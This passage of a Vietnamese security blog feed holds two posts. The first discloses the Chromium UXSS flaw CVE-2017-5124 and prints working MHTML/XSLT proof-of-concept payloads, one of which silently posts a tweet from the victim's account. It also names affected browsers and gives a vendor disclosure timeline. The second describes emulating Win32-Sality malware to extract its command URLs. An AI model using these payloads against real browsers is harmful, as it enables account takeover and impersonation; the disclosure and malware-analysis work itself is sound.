<p>Trong mô tả của html, chúng ta có thể sử dụng Content-location để xác định nguồn của dữ liệu. Ví dụ, chúng ta viết Content-location: https://example.com/abc, dữ liệu sẽ được trình duyệt đọc từ địa chỉ https://example.com/abc và hiển thị.</p>

<p>Để an toàn cho người dùng, tất cả các dữ liệu liên quan tới javascript đều bị cấm và không thể tải được từ một địa chỉ khác, ngoài domain người dùng đang truy cập. Điều này được Chromium kiểm tra ở mọi chỗ, trừ <a href="https://en.wikipedia.org/wiki/XSLT">XSLT</a>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
</pre></td><td class="rouge-code"><pre>MIME-Version: 1.0
Content-Type: multipart/related;
	type="text/html";
	boundary="----MultipartBoundary--"
CVE-2017-5124

------MultipartBoundary--
Content-Type: application/xml;

&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;?xml-stylesheet type="text/xml" href="#stylesheet"?&gt;
&lt;!DOCTYPE catalog [
&lt;!ATTLIST xsl:stylesheet
id ID #REQUIRED&gt;
]&gt;
&lt;xsl:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"&gt;
&lt;xsl:template match="*"&gt;
&lt;html&gt;&lt;iframe style="display:none" src="https://google.com"&gt;&lt;/iframe&gt;&lt;/html&gt;
&lt;/xsl:template&gt;
&lt;/xsl:stylesheet&gt;

------MultipartBoundary--
Content-Type: text/html
Content-Location: https://google.com

&lt;script&gt;alert('Location origin: '+location.origin)&lt;/script&gt;
------MultipartBoundary----
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Trong đoạn mã trên, hacker có thể chạy alert() với domain https://google.com và hiển thị một messagebox cho biết location tương ứng với ngữ cảnh script đang chạy.</p>

<h2 id="một-vài-kịch-bản-khai-thác-sử-dụng-uxss-with-mhtml-cve-2017-5124">Một vài kịch bản khai thác sử dụng UXSS with MHTML (CVE-2017-5124)</h2>
<p>Nếu đơn thuần chỉ hiển thị một messagebox thì có lẽ cũng không cần quan tâm. Chúng ta sẽ tiếp cận một vài kịch bản “thực tế” hơn:</p>
<ul>
  <li>Người dùng bị mất email: Người dùng hoàn toàn có thể bị kẻ xấu lợi dụng để đọc email, gửi thư bằng địa chỉ email của người dùng mà họ không hề hay biết. Hiện giờ, các tài khoản ngân hàng, tài khoản mạng xã hội thường gắn liền với một địa chỉ email. Nếu chiếm được email này, hacker hoàn toàn có thể đọc được các mã recover tài khoản hoặc các thông báo từ phía ngân hàng, gửi email giả mạo hoặc sử dụng email này làm bàn đạp để tấn công.</li>
  <li>Người dùng hoàn toàn có thể bị chiếm quyền điều khiển các tài khoản mạng xã hội: Hacker có thể đọc và đăng các bài post dưới tài khoản của người dùng. Tôi sẽ sử dụng tài khoản Twitter của tôi để thử nghiệm.</li>
  <li>Người dùng có thể mất tài khoản ngân hàng: nếu người dùng chỉ sử dụng trình duyệt và không có phương thức bảo vệ nào khác như OTP.</li>
</ul>

<p>Mã khai thác sẽ tweet một thông điệp bằng tài khoản Twitter của người dùng.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
</pre></td><td class="rouge-code"><pre>MIME-Version: 1.0
Content-Type: multipart/related;
	type="text/html";
	boundary="----MultipartBoundary--"
Become IDOL

------MultipartBoundary--
Content-Type: application/xml;

&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;?xml-stylesheet type="text/xml" href="#stylesheet"?&gt;
&lt;!DOCTYPE catalog [
&lt;!ATTLIST xsl:stylesheet
id ID #REQUIRED&gt;
]&gt;
&lt;xsl:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"&gt;
&lt;xsl:template match="*"&gt;
&lt;html&gt;&lt;iframe style="display:none" src="https://twitter.com" &gt;&lt;/iframe&gt;&lt;/html&gt;
&lt;/xsl:template&gt;
&lt;/xsl:stylesheet&gt;

------MultipartBoundary--
Content-Type: text/html
Content-Location: https://twitter.com

&lt;script&gt;

function tweet(text)
{
    var win = window.open("/", '_blank', 'toolbar=no,status=no,menubar=no,scrollbars=no,resizable=no,left=10000, top=10000, width=2, height=1, visible=none', '');
	win.onload = function(){
	        win.boxTextToTweet = win.document.getElementById("tweet-box-home-timeline");
			win.btnPostTweet = win.document.getElementsByClassName("tweet-action EdgeButton EdgeButton--primary js-tweet-btn")[0];
			win.boxTextToTweet.focus();
			win.boxTextToTweet.innerHTML = text;
			setTimeout(function(){ win.btnPostTweet.click(); }, 500);
			setTimeout(function(){ win.close(); }, 1500);
	}
}

tweet('I &lt;3 fosec. @quangnh89 is my idol.');

&lt;/script&gt;
------MultipartBoundary----
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Tôi có thực hiện một vài kịch bản tấn công với 2 trình duyệt Cốc Cốc ( bản 66 ) và SamSung Internet.</p>

<p>Demo với Cốc Cốc 66:</p>

<p><a href="https://www.youtube.com/watch?v=oBZe2-dtfGI"><img src="https://img.youtube.com/vi/oBZe2-dtfGI/0.jpg" alt="UXSS with MHTML (CVE-2017-5124) + CocCoc browser 66.4.134" /></a></p>

<h2 id="những-trình-duyệt-bị-ảnh-hưởng-bởi-cve-2017-5124">Những trình duyệt bị ảnh hưởng bởi CVE-2017-5124</h2>
<p>Tôi khẳng định: Tất cả các trình duyệt sử dụng nhân của Chromium (phiên bản nhỏ hơn 62) đều bị ảnh hưởng. Điểm qua một số trình duyệt đang thịnh hành ở Việt Nam, chúng ta có thể kể đến Cốc Cốc (coccoc.vn), phiên bản 66.4.134 đang dùng nhân Chromium 60.4.3112.134). Ngoài ra một số trình duyệt trên các dòng điện thoại SamSung do hãng sản xuất tự thêm vào đều có thể mắc phải lỗi này. Cá nhân tôi cho rẳng, để an toàn, chúng ta có thể tạm thời ngưng sử dụng trình duyệt có lỗi cho đến khi chúng có bản vá đầy đủ.</p>

<h2 id="timeline-thông-báo-lỗi-tới-các-bên-liên-quan">Timeline thông báo lỗi tới các bên liên quan</h2>
<p><em>Trình duyệt Cốc Cốc</em></p>
<ul>
  <li>05/12/2017: Thông báo cho công ty Cốc Cốc.</li>
  <li>06/12/2017: Công ty Cốc Cốc khẳng định sẽ release bản sửa lỗi khi cập nhật tới phiên bản 68.</li>
  <li>17/12/2017: Kiểm tra trình duyệt Cốc Cốc 68 và lỗi đã fix xong.
Hiện tại, bản mới nhất của Cốc Cốc đã sửa lỗi này. Nếu bạn dùng Cốc Cốc, hãy tải bản mới nhất.</li>
</ul>

<p><em>Trình duyệt SamSung Internet Browser 6.2.01.12</em></p>
<ul>
  <li>03/12/2017: Thông báo cho Công ty SamSung</li>
  <li>04/12/2017: SamSung thông báo đã tiếp nhận vấn đề</li>
  <li>08/12/2017: SamSung cho rằng issue này thuộc về Google Chrome và đã fix và đóng issue.</li>
</ul>

<p>Theo thử nghiệm của tôi, trình duyệt SamSung Internet Browser 6.2.01.12 bị lỗ hổng nghiêm trọng này. Nếu máy điện thoại của bạn chưa cập nhật lên bản mới hơn, hãy tạm dừng sử dụng nó cho đến khi có bản mới. Demo với SamSung internet: https://www.youtube.com/watch?v=nLPuplN5HmM</p>]]></content><author><name>Quang Nguyen</name></author><category term="Tutorials" /><category term="uxss" /><category term="chromium" /><summary type="html"><![CDATA[Gần đây, trình duyệt nguồn mở Chromium (phiên bản 62 trở xuống) có một lỗi cực kì nghiêm trọng. Vậy lỗi này nghiêm trọng thế nào? Ảnh hưởng của lỗi này ra sao?]]></summary></entry><entry><title type="html">Làm thế nào để tìm các URL trong các biến thể của Win32-Sality (How to extract URLs of Win32-Sality variants)</title><link href="https://develbranch.com/tutorials/sality-extractor.html" rel="alternate" type="text/html" title="Làm thế nào để tìm các URL trong các biến thể của Win32-Sality (How to extract URLs of Win32-Sality variants)" /><published>2017-10-29T17:00:00+00:00</published><updated>2017-10-29T17:00:00+00:00</updated><id>https://develbranch.com/tutorials/sality-extractor</id><content type="html" xml:base="https://develbranch.com/tutorials/sality-extractor.html"><![CDATA[<p>Tôi là một lập trình viên. Trong thời gian rảnh, tôi có nghiên cứu một vài vấn đề liên quan tới dịch ngược và virus máy tính. Tôi phân tích biến thể đầu tiên của Win32-Sality vào năm 2011. Từ đó đến nay, dù Win32-Sality vẫn tiếp tục tồn tại và lây lan nhưng những thay đổi của dòng virus này không nhiều. Trước đây, tôi đã thử tìm hiểu và thực hiện nhiều phương pháp khác nhau để có thể lấy được các URL chứa trong Win32-Sality. Các URLs này thường tồn tại trong thời gian rất ngắn. Tôi cần một phương pháp tự động, hiệu quả và có thể sử dụng tài nguyên hạn chế để thực hiện. Các phương pháp sử dụng môi trường ảo hay sandbox rất hay và khả thi. Trong bài viết này, tôi muốn cung cấp một góc nhìn mới, một phương pháp tiếp cận khác để có thể tìm và phát hiện các URL. Tôi sử dụng Emulator.</p>

<p>Có thể nói, tôi là một fan của bộ ba công cụ: Reversing Trilogy: <a href="http://capstone-engine.org">Capstone</a>, <a href="http://unicorn-engine.org">Unicorn</a> &amp; <a href="http://keystone-engine.org">Keystone</a>. Đây là nhưng công cụ rất cơ bản để có thể thực hiện nhiều ý tưởng khác nhau của tôi trong quá trình phân tích hay dịch ngược. Nói vòng vo một chút, tôi biết ngôn ngữ Ruby của người Nhật. Những tài liệu, những thư viện đầu tiên đều là của người Nhật viết để hỗ trợ cho ngôn ngữ này. Tôi muốn tinh thần đó cũng có trong các sản phẩm của người Việt. Có thể đâu đó trong blog của tôi, tôi đã nhắc tới bộ ba Reversing Trilogy. Qua bài viết này, tôi muốn được một lần nữa giới thiệu Reversing Trilogy, một công cụ của người Việt nhưng chưa được thật sự nhiều người Việt biết tới.</p>

<h2 id="đôi-nét-về-virus-lây-file">Đôi nét về virus lây file</h2>

<p>Trước tiên, tôi muốn các bạn có một hình dung cụ thể hơn về một virus lây file (file infector). Chúng ta tạm gọi một file thực thi chưa bị tấn công là <strong>host file</strong> (lưu ý: đây không phải là file <code class="language-plaintext highlighter-rouge">/etc/hosts</code> hay <code class="language-plaintext highlighter-rouge">C:\Windows\System32\drivers\etc\hosts</code>). <strong>host file</strong> (hay gọi tắt là <em>host</em>) là một file chương trình bình thường: Các file của hệ điều hành mà thực thi được (notepad.exe, calc.exe), các chương trình được cài đặt trong máy tính, các file cài đặt có phần mở rộng là exe hay các file trò chơi… Các file này có thể có phần mở rộng là .exe, .dll, .sys. Máy tính không thể hoạt động nếu không có một file thực thi nào. Một virus lây file khi vào máy tính và được thực thi, sẽ tìm kiếm các host và sửa file này: Chúng thêm vào host các đoạn mã của virus. Các đoạn mã này sẽ chạy virus lên khi host được kích hoạt, và sau khi virus đã chạy thành công, quyền thực thi sẽ trả về cho host để host tiếp tục thực hiện nhiệm vụ. Người dùng sẽ hoàn toàn không phát hiện ra đã có virus hoạt động. Host đã trở thành file bị lây (<strong>infected file</strong>). Khi người dùng copy những file bị lây này qua một máy tính khác (qua USB, qua email…), Virus sẽ tiếp tục lây lan. Đó là phương thức lây lan chủ yếu của virus lây file. Nếu trong một máy có nhiều file bị lây cùng thực thi, virus sẽ sử dụng các phương pháp như tạo mutex, event, … để virus chỉ thực thi một lần duy nhất.</p>

<p>Các chương trình Antivirus có nhiệm vụ bảo vệ máy tính có thể phát hiện ra các virus lây file này, gỡ bỏ đoạn mã độc hại và khôi phục lại file như trước khi bị lây. Tuy nhiên, vì không phải virus lây file nào cũng giống nhau, nên phương pháp gỡ bỏ sẽ rất đặc trưng cho từng virus. Người phân tích sẽ phải đọc và hiểu cách thức lây của virus để tìm phương pháp khôi phục file thích hợp. Không hề có một công thức chung cho việc này. Do vậy, Antivirus có thể dùng nhiều phương pháp <strong>phát hiện</strong> khác nhau dành cho virus lây file ( heuristics, emulator, phân tích theo hành vi - behavior analysis, …) nhưng tất cả chỉ dừng ở mức độ <strong>“phát hiện”</strong>. Muốn gỡ bỏ hoàn toàn, cần có sự phân tích cụ thể của người phân tích để đảm bảo chính xác. Phương pháp phát hiện và gỡ bỏ hiệu quả nhất cho dòng virus này vẫn là sử dụng chữ kí (signature): tức là một đoạn mã virus đặc trưng. Tuy nhiên, theo thời gian, các phương pháp sử dụng chữ kí sẽ khiến cho Antivirus ngày càng cồng kềnh và kém hiệu quả.</p>

<p>Để cải thiện khả năng “ẩn thân”, các nhà phát triển mã độc cũng nghĩ ra công cụ cho riêng mình: virus đa hình (<a href="https://en.wikipedia.org/wiki/Polymorphic_code#Malicious_code">polymorphic virus</a>). Loại virus này có đặc điểm là sẽ mã hóa hầu hết các đoạn mã của virus, chỉ giải mã các đoạn mã đó trên bộ nhớ của chương trình khi thực thi. Do toàn bộ virus đã mã hóa, nên các Antivirus sẽ lựa chọn đoạn code giải mã (những phần code có thể coi là cố định) để làm signature. Các đoạn code giải mã này thường nhỏ. Tất nhiên, các nhà phát triển mã độc không dừng lại ở đây, họ tiếp tục cải tiến và phát triển virus siêu đa hình (<a href="https://en.wikipedia.org/wiki/Metamorphic_code">Metamorphic code</a>). Dòng này có đặc điểm là nó tạo ra các đoạn code giải mã khác nhau ở mỗi infected file. Cùng một biến thể, nhưng nếu lây 2 host, sẽ cho ra 2 đoạn code giải mã khác nhau. Có nhiều phương pháp khác nhau để làm việc này, nhưng một trong các phương pháp phổ biến là đưa các đoạn code “rác” vào code giải mã, để làm rối Antivirus. Hiện nay có khá nhiều project cho để biến đổi giống như thế này, bạn có thể thử xem qua: <a href="https://github.com/a0rtega/metame">metame</a> hay <a href="https://github.com/JuanJMarques/pymetamorph">pymetamorph</a>.</p>

<h2 id="phân-tích-win32-sality-và-phương-pháp-tìm-các-url-độc-hại">Phân tích Win32-Sality và phương pháp tìm các URL độc hại</h2>
<p>Phân tích kĩ Win32-Sality, có thể thấy rằng đây là Metamorphic virus. Điều đó có nghĩa là, với cùng một mẫu virus và cùng một file bị lây, nhưng mỗi lần lây sẽ tạo ra các đoạn mã hoàn toàn khác nhau. Cần phải giải mã được toàn bộ virus để tìm được các URL được lưu trong virus. Để vượt qua các đoạn mã đa hình, tôi sử dụng emulator. Tôi dùng Unicorn-engine để chạy giả lập lại toàn bộ quá trình chạy của virus. Vì thế tôi không cần đọc hiểu thuật toán giải mã của chương trình, nhưng vẫn có thể giải mã chính xác. Win32-Sality có “đem” theo một DLL, đó là engine lây file. Tiếc rằng DLL này lại được pack bằng UPX. Đến bước này tôi sẽ phải dùng emulator một lần nữa để unpack và tìm các URL bên trong đó. Trong script, tôi có sử dụng <a href="https://github.com/erocarrera/pefile">pefile</a> để parse nội dung của một file thực thi.</p>

<p>Các bước thực hiện như sau:</p>
<ul>
  <li>sử dụng pefile để parse file PE.</li>
  <li>sử dụng unicorn-engine làm emulator để thực thi các đoạn mã giải mã
    <ul>
      <li>dùng <code class="language-plaintext highlighter-rouge">mem_map</code> của unicorn để copy toàn bộ file PE vào memory của emulator</li>
      <li>tạo một vùng nhớ (khoảng 0x4000 - con số này tôi tự chọn) làm stack</li>
      <li>thiết lập thanh ghi stack, do chương trình cần sử dụng stack trong khi thực thi. Các thanh ghi khác chỉ cần để mặc định</li>
      <li>cài đặt một hàm callback để trace các lệnh đã được thực thi</li>
      <li>bắt đầu chạy emulator từ entrypoint của chương trình</li>
    </ul>
  </li>
</ul>

<p>Trong quá trình phân tích Win32-Sality, tôi nhận thấy: sau khi thực hiện lệnh <code class="language-plaintext highlighter-rouge">retn</code> trong quá trình giải mã, EIP sẽ trỏ về đoạn code thật. Tuy nhiên, lệnh <code class="language-plaintext highlighter-rouge">retn</code> có thể xuất hiện nhiều chỗ khác nhau trong chương trình. Để tránh phát hiện nhầm, tôi có lấy 1 đoạn làm chữ kí cho Sality (hàm <code class="language-plaintext highlighter-rouge">check_sality</code>) để biết được đã giải mã xong hay chưa.</p>

<p>Sau khi giải mã thành công toàn bộ đoạn code gốc của sality, chúng ta lưu ý: DLL chứa engine lây file của sality lại được pack bằng UPX:</p>
<ul>
  <li>Sử dụng pefile để parse file</li>
  <li>sử dụng unicorn-engine làm emulator để thực thi các đoạn mã giải mã của UPX (UPX stub code): bước này tôi làm tương tự như đã trình bày ở trên</li>
  <li>Fix Import Address Table (IAT) cho PE</li>
</ul>

<p>Ở đây, chúng ta nhận thấy có IAT: UPX stub code cần gọi các hàm Windows API trong quá trình chạy của mình để: Build IAT cho file (<code class="language-plaintext highlighter-rouge">LoadLibraryA</code>, <code class="language-plaintext highlighter-rouge">GetProcAddress</code> của thư hiện kernel32.dll) hay gọi <code class="language-plaintext highlighter-rouge">VirtualProtect</code> để thiết lập thuộc tính cho các section. Rõ ràng, trong emulator hoàn toàn không có hệ điều hành nên tôi sẽ không có <code class="language-plaintext highlighter-rouge">kernel32.dll</code>. Tôi cũng không muốn emulate cả thư viện <code class="language-plaintext highlighter-rouge">kernel32.dll</code>. Tôi tạo một bảng fake IAT và dùng các ngắt (interrupt) để “bắt chước” lời gọi API. Các bước như sau:</p>
<ul>
  <li>sử dụng keystone-engine tạo một đoạn code mô phỏng một API, gồm 2 lệnh: <code class="language-plaintext highlighter-rouge">mov eax, number</code> và <code class="language-plaintext highlighter-rouge">int 0xff</code></li>
  <li><code class="language-plaintext highlighter-rouge">number</code> là một số bất kì, đại diện cho API</li>
  <li>ngắt <code class="language-plaintext highlighter-rouge">0xff</code> là một ngắt không ai dùng.</li>
  <li>sử dụng tính năng <code class="language-plaintext highlighter-rouge">UC_HOOK_INTR</code> để hook interrupt</li>
</ul>

<p>Khi một API được thực thi, EAX sẽ chứa số hiệu tương ứng với hàm cần gọi. Emulator sẽ thực thi ngắt, gọi tới <code class="language-plaintext highlighter-rouge">hook_intr</code>. Bên trong hàm hook, thanh ghi EAX sẽ chứa kết quả trả về của hàm API. Bằng phương pháp này, chúng ta có thể mô phỏng bất cứ API nào.</p>

<p>Ngoài ra, UPX stub code không phải code đa hình, chúng ta có thể biết rõ: bắt đầu của stub là lệnh <code class="language-plaintext highlighter-rouge">pushad</code> và kết thúc là <code class="language-plaintext highlighter-rouge">popad</code>. Tôi sử dụng capstone-engine để disassemble đoạn code, tìm lệnh <code class="language-plaintext highlighter-rouge">popad</code> và lấy đó làm địa chỉ kết thúc quá trình emulate.</p>

<h2 id="kết-quả">Kết quả</h2>
<p>Sau khi thực hiện tất cả các bước trên, chúng ta có được toàn bộ code của sality, không mã hóa. Chúng ta hoàn toàn toàn có thể dump nó ra file để phân tích sâu hơn. Đơn giản hơn, tôi dùng một đoạn biểu thức chính quy (regular expression) để tìm các URL.</p>

<p>Kết quả thực hiện với một mẫu tôi kiếm được:</p>

<p><img src="https://develbranch.com/assets/2017/10/sality_extractor.PNG" alt="Sality Extractor" /></p>

<h2 id="script">Script</h2>
<p>Đây là mã nguồn của toàn bộ script tôi đã sử dụng:</p>

<script src="https://gist.github.com/41deada8a936a1877a6c6c757ce73800.js"> </script>]]></content><author><name>Quang Nguyen</name></author><category term="Tutorials" /><category term="Sality" /><category term="keystone" /><category term="unicorn" /><category term="capstone" /><category term="pefile" /><summary type="html"><![CDATA[Tôi thử tìm hiểu và thực hiện nhiều phương pháp khác nhau để có thể lấy được các URL chứa trong Win32-Sality. Các URLs này thường tồn tại trong thời gian rất ngắn, nhưng điều quan trọng là nó chứa các binary mới của Sality. Tôi cần một phương pháp tự động, hiệu quả và có thể sử dụng tài nguyên hạn chế để thực hiện. Các phương pháp sử dụng môi trường ảo hay sandbox rất hay và khả thi nhưng trong bài viết này, tôi muốn cung cấp một góc nhìn mới, một phương pháp tiếp cận khác để có thể tìm và phát hiện các URL. Tôi sử dụng emulator. Sau đây, tôi sẽ mô tả cách làm của tôi để có thể tìm các URL điều khiển trong các biến thể khác nhau của virus lây file Win32-Sality]]></summary></entry></feed>